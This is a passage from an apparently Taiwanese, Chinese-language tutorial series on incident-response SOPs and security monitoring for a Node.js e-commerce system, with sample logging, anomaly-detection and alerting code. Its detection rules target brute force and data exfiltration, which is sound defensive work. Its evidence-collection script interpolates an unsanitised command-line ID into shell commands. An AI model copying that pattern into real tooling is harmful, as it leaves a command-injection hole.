  // 2. 部署 WAF 規則阻擋自動化攻擊
  await waf.addRule({
    name: 'block-credential-stuffing',
    condition: 'login_failure_rate > 5/min per IP',
    action: 'CAPTCHA_CHALLENGE',
  });
  logAction('部署 WAF Credential Stuffing 防護規則');
};

消除(Eradication):把火源徹底清除

封鎖只是「止血」,消除才是「治療」。你要找到根本原因並清除:

消除階段 Checklist:

□ 根本原因已確認
  → 此案例:使用者密碼來自其他平台的外洩資料,且未啟用 MFA

□ 攻擊者的存取路徑已關閉
  → 所有被入侵帳號已重設密碼

□ 攻擊者植入的後門已清除(如有)
  → 檢查是否有新增的 API Key、OAuth App、Webhook

□ 受影響的系統已修補
  → 新增 Credential Stuffing 防護機制

□ 相關的 IOC(Indicators of Compromise)已記錄
  → 攻擊 IP 段、攻擊模式特徵

復原(Recovery):確認安全後重新開放

復原不是「打開開關就好」,而是要逐步恢復、持續監控

復原步驟:

1. ✅ 確認封鎖和消除措施都已到位
2. ✅ 在測試環境驗證修復方案
3. ✅ 逐步恢復服務(先灰度發布、再全量開放)
4. ✅ 加強監控(至少 72 小時高頻監控)
5. ✅ 確認被入侵帳號的使用者已收到通知
6. ✅ 確認可疑訂單已被正確處理(退款或確認)

飛飛觀點:
復原階段最常犯的錯誤就是「太急著恢復正常」。我見過有團隊在攻擊還沒完全消除的情況下就急著把系統打開,結果攻擊者馬上又進來了。寧可多花幾個小時確認,也不要讓同一個事件發生兩次。


階段四:事後活動(Post-Incident Activity)——火災之後的檢討與改善

火滅了、房子修好了、住戶回來了。但最重要的一步還沒做——從這次事件中學到什麼?

這個階段的核心就是無咎事後檢討會議(Blameless Postmortem)

事後檢討會議的結構

建議在事件結束後 3-5 個工作天內召開(太早大家還在善後,太晚就忘記細節了):

# 事件回顧報告
## IR-2026-001:電商平台 Credential Stuffing 攻擊事件

### 事件摘要
- 事件類型:Credential Stuffing(撞庫攻擊)
- 發生時間:2026-02-27 21:30 ~ 2026-02-28 02:00
- 持續時間:約 4.5 小時
- 嚴重等級:P1
- 影響範圍:30 個帳號被入侵,5 筆可疑訂單(總金額 NT$127,000)

### 時間線
(從偵測到復原的完整時間線,略)

### 根本原因
使用者在其他平台使用相同的帳號密碼,該平台資料外洩後,
攻擊者利用外洩的帳密清單對我們的登入 API 進行撞庫攻擊。

我們的系統缺乏:
1. 登入行為異常偵測(同 IP 大量登入嘗試未觸發告警)
2. 強制或鼓勵 MFA
3. 已知外洩密碼的比對機制

### 做得好的地方 ✅
- 監控系統在攻擊開始後 15 分鐘內發出告警
- On-call 工程師在 5 分鐘內回應
- 事件時間線記錄完整
- 客服團隊快速回應客戶詢問

### 需要改進的地方 🔧
- 告警規則的閾值太高,應該更早觸發
- 沒有預先準備好的 Credential Stuffing 應變 Playbook
- 封鎖 IP 的流程需要手動操作 AWS Console,耗時太久
- 客戶通知信的範本沒有事先準備好

### 改善行動項目
| 項目 | 負責人 | 預計完成日 | 優先順序 |
|------|--------|-----------|---------|
| 導入 MFA 並在登入頁面推廣 | 前端組 Alice | 2026-03-15 | P1 |
| 建立自動化 IP 封鎖機制 | 後端組 Bob | 2026-03-10 | P1 |
| 整合 HaveIBeenPwned API 檢查密碼是否外洩 | 後端組 Charlie | 2026-03-20 | P2 |
| 調整登入異常偵測的告警閾值 | SRE Diana | 2026-03-08 | P1 |
| 準備客戶通知信範本 | PM Eve | 2026-03-05 | P2 |
| 撰寫 Credential Stuffing Playbook | 全隊 | 2026-03-31 | P2 |

飛飛觀點:
事後檢討會議的「無咎」原則非常重要。不要問「是誰的錯」,要問「是什麼讓這件事發生了」。如果工程師怕被責備,下次發現異常就不敢回報,那才是最大的損失。


三、建立你的事件處理流程:從零到一的實戰指南

了解了四個階段之後,讓我們來建立一份實際可用的事件回應 SOP。

3.1 事件回應流程圖

                    ┌──────────────┐
                    │  偵測到告警  │
                    │  或接到通報  │
                    └──────┬───────┘
                           │
                    ┌──────▼───────┐
                    │  初步評估    │
                    │  是否為真實  │
                    │  安全事件?  │
                    └──────┬───────┘
                           │
                  ┌────────┴────────┐
                  │                 │
            ┌─────▼─────┐    ┌─────▼─────┐
            │  是:分級  │    │ 否:記錄  │
            │  並啟動    │    │ 並關閉    │
            │  回應流程  │    │           │
            └─────┬─────┘    └───────────┘
                  │
         ┌────────┼────────┐
         │        │        │
    ┌────▼───┐ ┌──▼──┐ ┌──▼────┐
    │ P1/P2  │ │ P3  │ │  P4   │
    │ 立即   │ │ 4hr │ │ 下個   │
    │ 召集   │ │ 內   │ │ 工作日 │
    │ 團隊   │ │ 回應 │ │ 處理   │
    └────┬───┘ └──┬──┘ └──┬────┘
         │        │       │
    ┌────▼────────▼───────▼────┐
    │        封鎖與止血        │
    │  • 隔離受影響系統        │
    │  • 封鎖攻擊來源          │
    │  • 保存證據              │
    └────────────┬─────────────┘
                 │
    ┌────────────▼─────────────┐
    │        消除與修復        │
    │  • 找到根本原因          │
    │  • 清除攻擊者存取        │
    │  • 修補弱點              │
    └────────────┬─────────────┘
                 │
    ┌────────────▼─────────────┐
    │        復原與監控        │
    │  • 逐步恢復服務          │
    │  • 加強監控 72 小時      │
    │  • 通知受影響使用者      │
    └────────────┬─────────────┘
                 │
    ┌────────────▼─────────────┐
    │        事後活動          │
    │  • 撰寫事件報告          │
    │  • 召開檢討會議          │
    │  • 執行改善項目          │
    │  • 法規通報(如需要)    │
    └──────────────────────────┘

3.2 事件回應 Playbook 模板

Playbook 就像是針對特定類型事件的「標準作業程序」。與其在事件發生時才想該做什麼,不如先為常見的攻擊類型寫好劇本。

以下是一個可以直接使用的 Playbook 模板:

# Playbook:[事件類型名稱]

## 適用情境
- 什麼情況下要啟動這份 Playbook

## 嚴重等級判斷
- P1 條件:...
- P2 條件:...

## 初步確認步驟
1. 檢查 [具體的日誌/監控]
2. 確認 [具體的指標]
3. 判斷 [真實性條件]

## 封鎖措施
### 立即執行(前 15 分鐘)
- [ ] 動作一
- [ ] 動作二

### 短期措施(前 1 小時)
- [ ] 動作一
- [ ] 動作二

## 消除步驟
- [ ] 找出根本原因
- [ ] 清除 [具體項目]

## 復原步驟
- [ ] 驗證修復
- [ ] 恢復服務
- [ ] 加強監控

## 通知清單
- [ ] 內部:[誰]
- [ ] 外部:[誰]
- [ ] 主管機關(如適用)

## 證據保存
- [ ] 需要保存的日誌
- [ ] 需要保存的系統快照

3.3 台灣法規通報要求

在台灣,資安事件發生後可能需要通報主管機關。這不是「做好人」,而是法律義務

法規 通報對象 通報時限 適用情況
個人資料保護法(2025 年修正) 個資保護委員會 + 當事人 發現後 72 小時內通報機關;查明後 30 日內通知當事人 個資外洩事件
資通安全管理法 主管機關 + 上級機關 1 小時內通報(依嚴重等級) 公務機關與特定非公務機關
上市櫃公司資通安全管控指引 證交所/櫃買中心 發生後儘速通報 上市櫃公司

飛飛觀點:
2025 年個資法修正後,個資外洩的通報義務變得更加嚴格。通報不是「示弱」,拖延通報才是真正的風險——不只有行政裁罰,還可能面臨民事求償。及時通報反而能展現組織的負責態度,降低後續的法律風險。


四、事件回應工具箱:實用的 Node.js 輔助工具

以下是幾個你可以整合進系統中的事件回應輔助工具範例:

4.1 安全事件自動告警

// middleware/securityMonitor.js
// 簡易的安全事件偵測中介軟體

const Redis = require('ioredis');
const redis = new Redis();

const ALERT_THRESHOLDS = {
  LOGIN_FAILURE: { count: 10, windowSeconds: 300 },   // 5 分鐘內 10 次登入失敗
  API_RATE: { count: 100, windowSeconds: 60 },         // 1 分鐘內 100 次 API 請求
  SENSITIVE_ACCESS: { count: 5, windowSeconds: 600 },  // 10 分鐘內 5 次敏感資料存取
};

async function trackSecurityEvent(eventType, identifier) {
  const key = <code class="kb-btn">security:${eventType}:${identifier}</code>;
  const threshold = ALERT_THRESHOLDS[eventType];

  if (!threshold) return;

  const count = await redis.incr(key);
  if (count === 1) {
    await redis.expire(key, threshold.windowSeconds);
  }

  if (count >= threshold.count) {
    await triggerAlert({
      type: eventType,
      identifier,
      count,
      window: threshold.windowSeconds,
      timestamp: new Date().toISOString(),
    });
  }
}

async function triggerAlert(alertData) {
  console.error('[SECURITY ALERT]', JSON.stringify(alertData));

  // 發送到 Slack
  await fetch(process.env.SLACK_WEBHOOK_URL, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      text: <code>🚨 安全告警:${alertData.type}\n</code> +
            <code>來源:${alertData.identifier}\n</code> +
            <code>次數:${alertData.count} 次(${alertData.window} 秒內)\n</code> +
            <code class="kb-btn">時間:${alertData.timestamp}</code>,
    }),
  });

  // 記錄到事件追蹤系統
  await saveIncidentAlert(alertData);
}

module.exports = { trackSecurityEvent };

4.2 證據保存腳本

事件發生時,第一件事就是保存證據。以下腳本可以快速收集關鍵資訊:

// scripts/collectEvidence.js
// 資安事件證據收集腳本

const fs = require('fs');
const { execSync } = require('child_process');
const path = require('path');

async function collectEvidence(incidentId) {
  const evidenceDir = path.join('/secure-evidence', incidentId);
  fs.mkdirSync(evidenceDir, { recursive: true });

  console.log(<code class="kb-btn">📁 證據收集開始:${incidentId}</code>);
  console.log(<code class="kb-btn">📂 儲存目錄:${evidenceDir}</code>);

  // 1. 收集系統日誌
  console.log('📋 收集系統日誌...');
  execSync(<code>journalctl --since "24 hours ago" > ${evidenceDir}/system.log</code>);

  // 2. 收集應用程式日誌
  console.log('📋 收集應用程式日誌...');
  execSync(<code>cp /var/log/app/*.log ${evidenceDir}/</code>);

  // 3. 收集網路連線狀態
  console.log('🌐 收集網路連線狀態...');
  execSync(<code>netstat -tlnp > ${evidenceDir}/network-connections.txt</code>);
  execSync(<code>ss -tlnp >> ${evidenceDir}/network-connections.txt</code>);

  // 4. 收集執行中的程序
  console.log('⚙️  收集程序清單...');
  execSync(<code>ps auxf > ${evidenceDir}/processes.txt</code>);

  // 5. 收集最近登入記錄
  console.log('👤 收集登入記錄...');
  execSync(<code>last -50 > ${evidenceDir}/login-history.txt</code>);
  execSync(<code>lastb -50 > ${evidenceDir}/failed-logins.txt 2>/dev/null || true</code>);

  // 6. 計算所有證據檔案的 Hash(確保證據完整性)
  console.log('🔏 計算證據 Hash...');
  const files = fs.readdirSync(evidenceDir);
  const hashes = {};
  for (const file of files) {
    const filePath = path.join(evidenceDir, file);
    const hash = execSync(<code class="kb-btn">sha256sum ${filePath}</code>).toString().trim();
    hashes[file] = hash.split(' ')[0];
  }
  fs.writeFileSync(
    path.join(evidenceDir, 'evidence-hashes.json'),
    JSON.stringify(hashes, null, 2)
  );

  console.log(<code>\n✅ 證據收集完成,共 ${files.length} 個檔案</code>);
  console.log(<code class="kb-btn">📂 存放位置:${evidenceDir}</code>);

  return evidenceDir;
}

// 使用方式
// node scripts/collectEvidence.js IR-2026-001
const incidentId = process.argv[2] || <code class="kb-btn">IR-${new Date().getFullYear()}-${Date.now()}</code>;
collectEvidence(incidentId);

五、事件回應 SOP 完整模板

以下是一份可以直接用在你的團隊的事件回應 SOP 模板:

# [公司名稱] 資安事件回應標準作業程序(SOP)

## 版本紀錄
| 版本 | 日期 | 修改人 | 修改內容 |
|------|------|--------|---------|
| 1.0 | YYYY-MM-DD | OOO | 初版制定 |

## 一、目的
定義資安事件的處理流程與責任分工,確保事件發生時能迅速、
有效地回應,將損害降到最低。

## 二、適用範圍
適用於本組織所有資訊系統、網路設備與資料資產相關的資安事件。

## 三、事件回應團隊(CSIRT)
| 角色 | 姓名 | 聯繫方式 | 備援人員 |
|------|------|---------|---------|
| 事件指揮官 | | | |
| 技術負責人 | | | |
| 溝通聯絡人 | | | |
| 法務/合規 | | | |

## 四、事件分級
(參考前文的 P1-P4 分級表)

## 五、處理流程
### 5.1 偵測與通報
- 收到告警或通報後,由 on-call 人員進行初步評估
- 判定為真實事件後,依據分級標準通知對應人員
- 建立事件追蹤單(IR-YYYY-NNN)

### 5.2 封鎖與止血
- 依據對應的 Playbook 執行封鎖措施
- 保存所有相關證據
- 記錄所有操作於事件時間線

### 5.3 消除與修復
- 找出根本原因
- 清除攻擊者存取路徑
- 修補相關弱點

### 5.4 復原
- 在測試環境驗證修復方案
- 逐步恢復服務
- 加強監控至少 72 小時

### 5.5 事後活動
- 事件結束後 3-5 個工作天內召開檢討會議
- 撰寫事件報告
- 追蹤改善項目

## 六、法規通報
- 個資外洩:72 小時內通報個資保護委員會
- 資安事件(受資安法管轄者):依等級 1 小時內通報

## 七、文件附錄
- 附錄 A:Playbook 清單
- 附錄 B:聯絡清單
- 附錄 C:證據收集指引
- 附錄 D:事件報告模板

六、團隊落地的務實建議

第一步:先有,再完善

不要試圖一次寫出完美的 SOP。先寫一份「能用」的版本,可能只有一頁——誰是 on-call、出事打什麼電話、最基本的封鎖步驟。有了這個起點,每次處理完事件後再逐步補充。

第二步:從常見攻擊開始寫 Playbook

不用一次寫完所有攻擊類型的 Playbook。建議從以下五個最常見的開始:

□ Playbook 1:帳號被入侵 / Credential Stuffing
□ Playbook 2:DDoS 攻擊
□ Playbook 3:Web 應用程式弱點被利用(SQL Injection、XSS 等)
□ Playbook 4:惡意軟體 / 勒索軟體感染
□ Playbook 5:個資外洩

第三步:每季做一次桌上演練

演練不需要動到真實系統。把團隊拉到一個會議室(或視訊),丟一個情境,走一遍流程。每次演練後記錄發現的問題,更新 SOP。

第四步:把事件回應整合進 on-call 制度

如果你的團隊有 on-call 輪值,把安全事件的回應也納入。on-call 工程師不需要會處理所有事件,但至少要會做初步評估和分級,然後知道該 call 誰。


七、常見問題 FAQ

Q1:我們是小團隊,只有 5 個人,也需要事件回應 SOP 嗎?

A:尤其需要。大公司可能有專職的資安團隊來處理事件,但小團隊發生資安事件時,影響的就是所有人。一份簡單的 SOP(即使只有一頁)可以在壓力最大的時候,幫你的團隊保持冷靜和有序。從一份簡單的聯絡清單和分級標準開始就好。

Q2:我們沒有 SIEM 或 SOC,怎麼偵測事件?

A:不需要昂貴的工具才能開始。你可以從以下低成本方案開始:

  • 應用程式日誌:確保你的 Node.js 應用程式記錄了關鍵的安全事件(登入失敗、權限錯誤等)
  • 雲端服務內建告警:AWS CloudWatch、GCP Cloud Monitoring、Azure Monitor 都有免費額度
  • 開源工具:Grafana + Loki 做日誌監控、Wazuh 做入侵偵測
  • 第三方服務:Uptime Robot(免費版本)監控網站可用性

重點不是工具有多厲害,而是你有沒有在看那些日誌。

Q3:事件發生時,要不要先關閉系統?

A:這取決於事件的性質和嚴重程度,沒有標準答案。一般原則:

  • 應該關閉:確認有持續的資料外洩、勒索軟體正在擴散、攻擊者仍在系統中且無法即時阻斷
  • 不應輕易關閉:關閉會導致證據消失(記憶體中的攻擊痕跡)、影響範圍可以透過隔離控制、關閉的損失大於事件本身的損失

這個決策應該由事件指揮官根據當下情況判斷,不要由工程師獨自決定。

Q4:怎麼跟客戶溝通資安事件?

A:透明、及時、負責任。以下是溝通的三個原則:

  • 說你知道的事實:「我們在某月某日偵測到未授權的系統存取」
  • 說你正在做什麼:「我們已經封鎖了攻擊來源,並正在全面調查影響範圍」
  • 說使用者應該做什麼:「建議您立即更改密碼,並開啟雙因素認證」
  • 不要猜測:還沒查清楚的事情不要亂講,「調查仍在進行中」是完全可以接受的說法

八、結語:最好的事件回應,是讓團隊不再害怕事件

很多團隊害怕資安事件,就像很多人害怕火災。但消防隊員不怕火災,不是因為他們覺得火燒不到自己,而是因為他們知道該怎麼做

事件回應 SOP 的真正價值,不是那份文件本身,而是準備的過程。當你的團隊一起討論「如果 XXX 發生了怎麼辦」,大家就會開始思考如何預防、如何偵測、如何回應。這個過程本身,就是在強化你的安全文化。

記住 NIST SP 800-61 的核心理念:

「事件回應不是在事件發生時才開始,而是在事件發生之前就已經在進行了。」

從今天開始,花 30 分鐘跟你的團隊坐下來,回答這三個問題:

  1. 如果我們的系統現在被入侵了,第一個被通知的人是誰?
  2. 他/她知道接下來該做什麼嗎?
  3. 我們有沒有一份寫下來的流程可以參考?

如果有任何一個答案是「不知道」或「沒有」,那就是你開始建立事件回應 SOP 的最好時機。

安全不是恐懼,而是創造的基礎。 一份好的事件回應計畫,讓你的團隊在面對資安事件時,從「恐慌」變成「有序處理」——這就是專業。


延伸閱讀

官方資源:

台灣法規:

系列文章:

[安全維運] 001 安全監控與告警:建立你的資安儀表板|關鍵安全指標監控與異常行為偵測實戰指南

「房子交屋後,不是把鑰匙交出去就沒事了。你還需要監視器、煙霧偵測器、和一個 24 小時運作的保全系統。
沒有監控的系統,就像一棟沒裝煙霧偵測器的大樓——火燒起來了,你卻是最後一個知道的人。」
— SSDLC by 飛飛


一、安全監控是什麼?為什麼你的系統需要一個「保全中心」?

在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求定義(確認要防震防火防盜)、安全設計(畫好建築藍圖)、安全實作(用防火建材施工)、安全驗證(請結構技師來驗收)。現在,房子交屋了,住戶搬進去了——我們來到了階段五:部署與維運(Deployment & Operation)

想像你蓋了一棟設計完善、建材頂級、驗收通過的大樓。但交屋之後呢?如果沒有監視器,有人半夜闖入你不知道;如果沒有煙霧偵測器,五樓起火了你在一樓還在看電視;如果沒有保全系統,小偷偷走東西三天後你才發現。

安全監控,就是你的系統的「保全中心」。 它負責即時觀察系統的一切動態,在異常發生的第一時間發出警報,讓你能夠快速反應,而不是等到使用者打電話來罵、媒體報導了、或是資料已經在暗網上賣了,你才知道出事了。

在資安的世界裡,有一句老話:

「不是『會不會』被攻擊的問題,而是『什麼時候』被攻擊的問題。」

既然攻擊遲早會來,那問題就變成:你能多快發現?發現之後能多快反應? 這就是安全監控要回答的核心問題。

飛飛觀點:
我見過太多團隊把 90% 的資安預算花在「防禦」上——WAF、加密、權限控制,卻只花不到 5% 在「偵測」上。這就像花大錢裝了最頂級的門鎖,卻連監視器都沒有。門鎖遲早會被撬開,但如果你有監視器,至少能在小偷還在翻牆的時候就報警。


二、傳統做法 vs. 現代安全監控:從「事後看 Log」到「即時告警」

先來看看傳統做法和現代安全監控的差別:

面向 傳統做法 現代安全監控
監控方式 出事了才去翻 Log 檔 即時儀表板 + 自動告警
發現問題的時機 幾天甚至幾週後 幾秒到幾分鐘內
分析方法 人工 grep 搜尋 自動化規則 + 異常偵測
告警機制 沒有(靠使用者回報) Slack / Email / PagerDuty 即時通知
涵蓋範圍 只有應用程式 Log 應用程式 + 基礎設施 + 業務指標
可視性 看不到全貌,像瞎子摸象 統一儀表板,一目瞭然

用蓋房子的比喻來說:

傳統做法就像大樓管理員只在住戶投訴「我家被偷了」之後才去調監視器畫面——問題是,監視器可能根本沒開,或是錄影帶已經被覆蓋了。

現代安全監控就像有一個 24 小時的保全中心,畫面上顯示每一層樓的即時影像,煙霧偵測器連動消防系統,有人在非上班時間刷卡進入機房,警報立刻響起。


三、安全監控的三大支柱:你需要監控什麼?

安全監控不是把所有 Log 丟進一個資料庫就完事了。你需要有系統地思考「監控什麼」、「怎麼監控」、「發現異常後怎麼辦」。

支柱一:安全日誌(Security Logging)— 記錄發生了什麼

日誌是一切的基礎。沒有日誌,就像犯罪現場沒有監視器畫面——你連「發生了什麼」都說不清楚。

該記錄的事件:

事件類別 具體內容 為什麼重要
認證事件 登入成功/失敗、登出、密碼變更、MFA 驗證 偵測帳號被盜或暴力破解
授權事件 權限被拒絕的存取嘗試、角色變更、權限提升 偵測越權存取或權限提升攻擊
資料存取 敏感資料的查詢、匯出、修改、刪除 偵測資料外洩或內部威脅
系統事件 服務啟停、設定變更、部署紀錄 偵測未授權的系統修改
輸入驗證 被拒絕的輸入(XSS、SQL Injection 嘗試) 偵測攻擊探測行為
業務邏輯 異常交易、大額操作、批次操作 偵測業務層面的攻擊

不該記錄的資料:

// ❌ 絕對不要記錄這些
logger.info('User login', {
  username: 'alice',
  password: 'MyS3cret!',          // ❌ 密碼
  creditCard: '4111111111111111',  // ❌ 信用卡號
  sessionToken: 'eyJhbGciOi...',  // ❌ Session Token
  idNumber: 'A123456789',         // ❌ 身分證字號
});

// ✅ 安全的日誌記錄
logger.info('User login', {
  username: 'alice',
  status: 'success',
  ip: '203.0.113.42',
  userAgent: 'Mozilla/5.0...',
  timestamp: '2026-02-28T10:30:00Z',
  requestId: 'req-abc-123',
});

飛飛觀點:
日誌記錄有兩個極端都不好:記太少,出事了沒東西可查;記太多,敏感資料反而從日誌洩露。我見過一個案例,某公司的日誌裡記了完整的信用卡號,結果日誌伺服器被入侵,攻擊者直接從 Log 裡撈到幾萬筆信用卡資料。日誌本身也是需要保護的資產。

支柱二:關鍵安全指標(Security Metrics)— 衡量系統的健康狀態

光有日誌還不夠,你需要把日誌轉化為可量化的指標,才能知道「現在的狀況是正常的還是異常的」。

就像你去看醫生,醫生不會把你所有的血液成分都列出來,而是看幾個關鍵指標:血壓、血糖、心率。安全監控也是一樣——你需要定義幾個關鍵指標(KPI),放在儀表板上即時監控。

核心安全指標清單:

指標名稱 計算方式 正常基線 告警閾值 意義
登入失敗率 失敗次數 / 總登入次數 < 5% > 15% 可能正在被暴力破解
單一 IP 請求數 每分鐘某 IP 的請求數 < 100/min > 500/min 可能是 DDoS 或爬蟲
403 錯誤比例 403 回應 / 總回應數 < 1% > 5% 可能有人在嘗試越權存取
敏感 API 呼叫量 /api/users/export 等端點的呼叫次數 < 10/day > 50/day 可能有人在大量匯出資料
新帳號註冊速率 每小時新註冊帳號數 < 20/hr > 100/hr 可能是自動化註冊攻擊
平均回應時間 API 回應時間的 P95 < 500ms > 2000ms 可能正在被 DoS 攻擊或有效能問題
異常地理位置登入 來自非常用地區的登入次數 0 ≥ 1 帳號可能被盜用

支柱三:告警與回應(Alerting & Response)— 發現問題後怎麼辦

監控的最終目的不是「看到問題」,而是「解決問題」。一個好的告警系統應該做到:發現異常 → 通知對的人 → 提供足夠的資訊讓人判斷 → 觸發應變流程。

告警分級制度:

等級 名稱 條件範例 通知方式 回應時間
P1 緊急(Critical) 資料外洩、系統被入侵、服務全面中斷 電話 + Slack + PagerDuty 15 分鐘內
P2 嚴重(High) 大量登入失敗、可疑的資料匯出、DDoS 攻擊 Slack + Email 1 小時內
P3 中等(Medium) 異常地理位置登入、單一 IP 高頻請求 Slack 4 小時內
P4 低(Low) 少量 403 錯誤、非尖峰時段的管理者登入 Email(每日彙整) 下個工作日

飛飛觀點:
告警最怕的不是「太少」,而是「太多」。當你的 Slack 頻道每天噴出 500 則告警通知,團隊成員會開始「告警疲勞」——看到告警直接忽略,就像住在消防局旁邊的人聽到警笛聲已經無感了。寧可少但精準,也不要多但雜亂。


四、實戰:用 Node.js 建立安全監控系統

讓我們用一個台灣電商平台的場景,從頭到尾建立一套安全監控系統。

4.1 建立結構化安全日誌

第一步,是建立一個能產出結構化日誌的模組。結構化日誌(Structured Logging)意味著每一筆日誌都是可被程式解析的格式(通常是 JSON),而不是一行文字。

// security-logger.js — 安全日誌模組
const winston = require('winston');

// 定義敏感欄位,自動遮蔽
const SENSITIVE_FIELDS = [
  'password', 'creditCard', 'cardNumber', 'cvv',
  'token', 'sessionToken', 'apiKey', 'secret',
  'idNumber', 'ssn',
];

function redactSensitive(obj) {
  if (!obj || typeof obj !== 'object') return obj;

  const redacted = Array.isArray(obj) ? [...obj] : { ...obj };

  for (const key of Object.keys(redacted)) {
    if (SENSITIVE_FIELDS.some(f => key.toLowerCase().includes(f.toLowerCase()))) {
      redacted[key] = '***REDACTED***';
    } else if (typeof redacted[key] === 'object') {
      redacted[key] = redactSensitive(redacted[key]);
    }
  }

  return redacted;
}

// 建立安全日誌 Logger
const securityLogger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp({ format: 'YYYY-MM-DDTHH:mm:ss.SSSZ' }),
    winston.format.json()
  ),
  defaultMeta: {
    service: 'ecommerce-api',
    environment: process.env.NODE_ENV || 'development',
  },
  transports: [
    // 安全事件專用的日誌檔
    new winston.transports.File({
      filename: 'logs/security.log',
      level: 'warn',
    }),
    // 所有事件的日誌檔
    new winston.transports.File({
      filename: 'logs/combined.log',
    }),
  ],
});

// 封裝安全事件記錄函式
function logSecurityEvent(eventType, severity, details) {
  const safeDetails = redactSensitive(details);

  securityLogger.log({
    level: severity === 'CRITICAL' ? 'error' : severity === 'HIGH' ? 'warn' : 'info',
    eventType,
    severity,
    ...safeDetails,
    timestamp: new Date().toISOString(),
  });
}

module.exports = { logSecurityEvent, securityLogger };

4.2 在關鍵端點加入安全日誌

// middleware/security-audit.js — 安全稽核 Middleware
const { logSecurityEvent } = require('../security-logger');

// 登入事件記錄
function logLoginAttempt(req, success, userId = null, reason = null) {
  logSecurityEvent(
    success ? 'AUTH_LOGIN_SUCCESS' : 'AUTH_LOGIN_FAILURE',
    success ? 'INFO' : 'MEDIUM',
    {
      userId,
      ip: req.ip,
      userAgent: req.get('User-Agent'),
      reason,
      path: req.path,
      method: req.method,
    }
  );
}

// 敏感操作記錄
function logSensitiveAction(req, action, target, details = {}) {
  logSecurityEvent('SENSITIVE_ACTION', 'HIGH', {
    userId: req.user?.id,
    action,       // 例如:'DATA_EXPORT', 'ROLE_CHANGE', 'PASSWORD_RESET'
    target,       // 例如:'user:12345', 'order:67890'
    ip: req.ip,
    userAgent: req.get('User-Agent'),
    ...details,
  });
}

// 存取被拒絕記錄
function logAccessDenied(req, resource, reason) {
  logSecurityEvent('ACCESS_DENIED', 'MEDIUM', {
    userId: req.user?.id,
    resource,
    reason,
    ip: req.ip,
    userAgent: req.get('User-Agent'),
    path: req.originalUrl,
    method: req.method,
  });
}

module.exports = { logLoginAttempt, logSensitiveAction, logAccessDenied };

4.3 建立異常偵測引擎

接下來,我們建立一個簡單但有效的異常偵測引擎,用來即時分析安全事件並觸發告警。

// anomaly-detector.js — 異常偵測引擎
const Redis = require('ioredis');
const redis = new Redis();

// 異常偵測規則定義
const ANOMALY_RULES = {
  // 規則一:暴力破解偵測
  BRUTE_FORCE: {
    description: '單一帳號短時間內大量登入失敗',
    window: 15 * 60,      // 15 分鐘視窗
    threshold: 5,          // 5 次失敗
    severity: 'HIGH',
    key: (event) => <code class="kb-btn">login_fail:${event.userId || event.ip}</code>,
  },

  // 規則二:帳號列舉偵測
  ACCOUNT_ENUM: {
    description: '單一 IP 嘗試大量不同帳號',
    window: 10 * 60,       // 10 分鐘視窗
    threshold: 10,         // 10 個不同帳號
    severity: 'HIGH',
    key: (event) => <code class="kb-btn">account_enum:${event.ip}</code>,
  },

  // 規則三:異常資料匯出偵測
  DATA_EXFILTRATION: {
    description: '短時間內大量匯出敏感資料',
    window: 60 * 60,       // 1 小時視窗
    threshold: 5,          // 5 次匯出
    severity: 'CRITICAL',
    key: (event) => <code class="kb-btn">data_export:${event.userId}</code>,
  },

  // 規則四:非上班時間敏感操作
  OFF_HOURS_ACCESS: {
    description: '非上班時間存取管理後台',
    window: null,          // 不需要計數視窗
    threshold: 1,
    severity: 'MEDIUM',
    check: (event) => {
      const hour = new Date().getHours();  // 使用台灣時間 (UTC+8)
      return (hour < 7 || hour > 22) && event.path?.includes('/admin');
    },
  },

  // 規則五:速率異常偵測
  RATE_ANOMALY: {
    description: '單一 IP 請求頻率異常',
    window: 60,            // 1 分鐘視窗
    threshold: 500,        // 500 次請求
    severity: 'HIGH',
    key: (event) => <code class="kb-btn">rate:${event.ip}</code>,
  },
};

async function checkAnomaly(event) {
  const alerts = [];

  for (const [ruleName, rule] of Object.entries(ANOMALY_RULES)) {
    // 特殊條件檢查(如非上班時間)
    if (rule.check && rule.check(event)) {
      alerts.push({
        rule: ruleName,
        description: rule.description,
        severity: rule.severity,
        event,
      });
      continue;
    }

    // 計數型規則
    if (rule.key) {
      const redisKey = rule.key(event);
      if (!redisKey) continue;

      const count = await redis.incr(redisKey);
      if (count === 1) {
        await redis.expire(redisKey, rule.window);
      }

      if (count >= rule.threshold) {
        alerts.push({
          rule: ruleName,
          description: rule.description,
          severity: rule.severity,
          count,
          threshold: rule.threshold,
          event,
        });
      }
    }
  }

  return alerts;
}

module.exports = { checkAnomaly, ANOMALY_RULES };

4.4 建立告警通知系統

// alerter.js — 告警通知系統
const axios = require('axios');

// Slack Webhook 通知
async function sendSlackAlert(alert) {
  const color = {
    CRITICAL: '#FF0000',
    HIGH: '#FF8C00',
    MEDIUM: '#FFD700',
    LOW: '#36A64F',
  }[alert.severity] || '#808080';

  const payload = {
    attachments: [{
      color,
      title: <code class="kb-btn">🚨 安全告警 [${alert.severity}]:${alert.rule}</code>,
      text: alert.description,
      fields: [
        { title: '觸發規則', value: alert.rule, short: true },
        { title: '嚴重等級', value: alert.severity, short: true },
        { title: '來源 IP', value: alert.event?.ip || 'N/A', short: true },
        { title: '相關使用者', value: alert.event?.userId || 'N/A', short: true },
        { title: '計數', value: <code class="kb-btn">${alert.count || 1} / ${alert.threshold || 1}</code>, short: true },
        { title: '時間', value: new Date().toLocaleString('zh-TW', { timeZone: 'Asia/Taipei' }), short: true },
      ],
      footer: 'SSDLC Security Monitor',
      ts: Math.floor(Date.now() / 1000),
    }],
  };

  try {
    await axios.post(process.env.SLACK_WEBHOOK_URL, payload);
  } catch (error) {
    console.error('Slack 通知發送失敗:', error.message);
  }
}

// Email 通知(用於 P1 級別)
async function sendEmailAlert(alert) {
  // 使用 nodemailer 或其他 Email 服務
  const nodemailer = require('nodemailer');

  const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: 587,
    auth: {
      user: process.env.SMTP_USER,
      pass: process.env.SMTP_PASS,
    },
  });

  await transporter.sendMail({
    from: '"Security Monitor" <security@yourcompany.com>',
    to: process.env.SECURITY_TEAM_EMAIL,
    subject: <code class="kb-btn">🚨 [${alert.severity}] 安全告警:${alert.rule}</code>,
    html: `
      <h2>安全告警通知</h2>
      <p><strong>規則:</strong>${alert.rule}</p>
      <p><strong>描述:</strong>${alert.description}</p>
      <p><strong>嚴重等級:</strong>${alert.severity}</p>
